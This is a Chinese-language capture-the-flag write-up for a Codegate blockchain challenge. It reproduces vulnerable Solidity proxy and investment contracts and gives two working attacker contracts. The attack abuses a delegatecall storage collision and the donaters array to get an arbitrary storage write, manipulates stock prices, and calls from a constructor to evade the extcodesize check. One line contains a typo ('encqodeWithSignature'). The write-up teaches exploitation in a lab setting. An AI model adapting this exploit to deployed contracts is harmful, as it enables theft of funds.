Codegate CTF 区块链
Codegate CTF
赛时有朋友找我做,但当时看了下delegate call 感觉应该不难就没细看了。因为还在打国内比赛。后续回来复线一下。
一道代理合约滥用delegatecall的经典题目。好像和paradigm有几分相似。
赛题给出了源码 比较良心。
proxy.sol:
pragma solidity 0.8.11;
contract Proxy {
address implementation;
address owner;
struct log {
bytes12 time;
address sender;
}
log info;
constructor(address _target) {
owner = msg.sender;
implementation = _target;
}
function setImplementation(address _target) public {
require(msg.sender == owner);
implementation = _target;
}
function _delegate(address _target) internal {
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), _target, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
function _implementation() internal view returns (address) {
return implementation;
}
function _fallback() internal {
_beforeFallback();
_delegate(_implementation());
}
fallback() external payable {
_fallback();
}
receive() external payable {
_fallback();
}
function _beforeFallback() internal {
info.time = bytes12(uint96(block.timestamp));
info.sender = msg.sender;
}
}
Investment.sol:
pragma solidity 0.8.11;
import "/codegate/safemath.sol";
contract Investment {
address private implementation;
address private owner;
address[] public donaters;
using SafeMath for uint;
mapping (address => bool) private _minted;
mapping (bytes32 => uint) private _total_stocks;
mapping (bytes32 => uint) private _reg_stocks;
mapping (address => mapping (bytes32 => uint)) private _stocks;
mapping (address => uint) private _balances;
address lastDonater;
uint fee;
uint denominator;
bool inited;
event solved(address);
modifier isInited {
require(inited);
_;
}
function init() public {
require(!inited);
_reg_stocks[keccak256("apple")] = 111;
_total_stocks[keccak256("apple")] = 99999999;
_reg_stocks[keccak256("microsoft")] = 101;
_total_stocks[keccak256("microsoft")] = 99999999;
_reg_stocks[keccak256("intel")] = 97;
_total_stocks[keccak256("intel")] = 99999999;
_reg_stocks[keccak256("amd")] = 74;
_total_stocks[keccak256("amd")] = 99999999;
_reg_stocks[keccak256("codegate")] = 11111111111111111111111111111111111111;
_total_stocks[keccak256("codegate")] = 1;
fee = 5;
denominator = 1e4;
inited = true;
}
function buyStock(string memory _stockName, uint _amountOfStock) public isInited {
bytes32 stockName = keccak256(abi.encodePacked(_stockName));
require(_total_stocks[stockName] > 0 && _amountOfStock > 0);
uint amount = _reg_stocks[stockName].mul(_amountOfStock).mul(denominator + fee).div(denominator);
require(_balances[msg.sender] >= amount);
_balances[msg.sender] -= amount;
_stocks[msg.sender][stockName] += _amountOfStock;
_total_stocks[stockName] -= _amountOfStock;
}
function sellStock(string memory _stockName, uint _amountOfStock) public isInited {
bytes32 stockName = keccak256(abi.encodePacked(_stockName));
require(_amountOfStock > 0);
uint amount = _reg_stocks[stockName].mul(_amountOfStock).mul(denominator).div(denominator + fee);
require(_stocks[msg.sender][stockName] >= _amountOfStock);
_balances[msg.sender] += amount;
_stocks[msg.sender][stockName] -= _amountOfStock;
_total_stocks[stockName] += _amountOfStock;
}
function donateStock(address _to, string memory _stockName, uint _amountOfStock) public isInited {
bytes32 stockName = keccak256(abi.encodePacked(_stockName));
require(_amountOfStock > 0);
require(isUser(msg.sender) && _stocks[msg.sender][stockName] >= _amountOfStock);
_stocks[msg.sender][stockName] -= _amountOfStock;
(bool success, bytes memory result) = msg.sender.call(abi.encodeWithSignature("receiveStock(address,bytes32,uint256)", _to, stockName, _amountOfStock));
require(success);
lastDonater = msg.sender;
donaters.push(lastDonater);
}
function isInvalidDonaters(uint index) internal returns (bool) {
require(donaters.length > index);
if (!isUser(lastDonater)) {
return true;
}
else {
return false;
}
}
function modifyDonater(uint index) public isInited {
require(isInvalidDonaters(index));
donaters[index] = msg.sender;
}
function isUser(address _user) internal returns (bool) {
uint size;
assembly {
size := extcodesize(_user)
}
return size == 0;
}
function mint() public isInited {
require(!_minted[msg.sender]);
_balances[msg.sender] = 300;
_minted[msg.sender] = true;
}
function isSolved() public isInited {
if (_total_stocks[keccak256("codegate")] == 0) {
emit solved(msg.sender);
address payable addr = payable(address(0));
selfdestruct(addr);
}
}
}
代理合约这里就不多说了。比较简单的实现。允许你调用接口。这题非常迷的是他的题目部署。。。
明明proxy 代理的就是investment,他constructor却非得以address来传。很难理解他题目咋部署的。。。
以至于动态合约一开始我对应不上给出来的2个合约,后来盲fuzz了下 slot0和slot1,发现都有address,分别是 invest和msg.sender
就强行认了下合约。
然后分析一下如何攻击:
- 首先可以注意到有一个isInited初始化,这里肯定考虑优先把初始化工作做了。利用delegatecall就可以了。
- 分析得到flag的条件,我们可以看到是需要把_total_stocks中 keccak256("codegate")这一位清空,但是他这里的数量级非常大,他是用了一个类似货币兑换的手法,总之越少越值钱,他就非常值钱以至于不可能得到这个价值的货币量。所以考虑其他方法。
- 我们可以看到donaters这里有一个写入操作,考虑能否将它升级成为任意写。并且这里十分有趣的是打donate时候这个合约需要不能被检测,后续再用再被检测,这里可以用constructor的办法执行。未上链的时候执行的就是无bytecode
- 任意写首先需要把数组长度更改,delegatecall执行的时候 所有的事情都是对于自身的slot存储在进行操作了。所以。info那个结构体正好对应了 address长度。
- 那么这里任意写的值不太可控,但是我们可以写2种东西的汇率。让他们相等,我们买最便宜的然后写最贵的和我们买的是一个价值。在卖出我手中这个的时候再去买最贵的。就能够实现购买了。
写一下合约实现。
contract hacker{
address Proxy=0x1Bf453e0eD6bC48328D552Fa805E29fF8E223a5f;
string public target="amd";
constructor(){
Proxy.call(abi.encodeWithSignature("init()"));
Proxy.call(abi.encodeWithSignature("mint()"));
Proxy.call(abi.encodeWithSignature("buyStock(string,uint256)",target,4));
Proxy.call(abi.encqodeWithSignature("donateStock(address,string,uint256)",address(this),target,1));
}
function receiveStock(address _to, bytes32 _stockName, uint256 _amountOfStock) public returns (bytes32)
{
return keccak256("1");
}
}
contract hacker2{
address Proxy=0x1Bf453e0eD6bC48328D552Fa805E29fF8E223a5f;
string public target="amd";
string public code="codegate";
constructor()public{
address(Proxy).call(abi.encodeWithSignature("mint()"));
address(Proxy).call(abi.encodeWithSignature("buyStock(string,uint256)",target,4));
address(Proxy).call(abi.encodeWithSignature("modifyDonater(uint256)",uint(0xcf6b5fc1742ea4c4dc1a090ac41301d94ee9e46de14bb0fdc28d4b8be624e9d8)));
address(Proxy).call(abi.encodeWithSignature("modifyDonater(uint256)",uint(0x0627297c87a7ff96d6a3185d762f281aaf5c0efcfcfcc69db29ecb78e448bb37)));
address(Proxy).call(abi.encodeWithSignature("sellStock(string,uint256)",target,4));
address(Proxy).call(abi.encodeWithSignature("buyStock(string,uint256)",code,1));
address(Proxy).call(abi.encodeWithSignature("isSolved()"));
}
}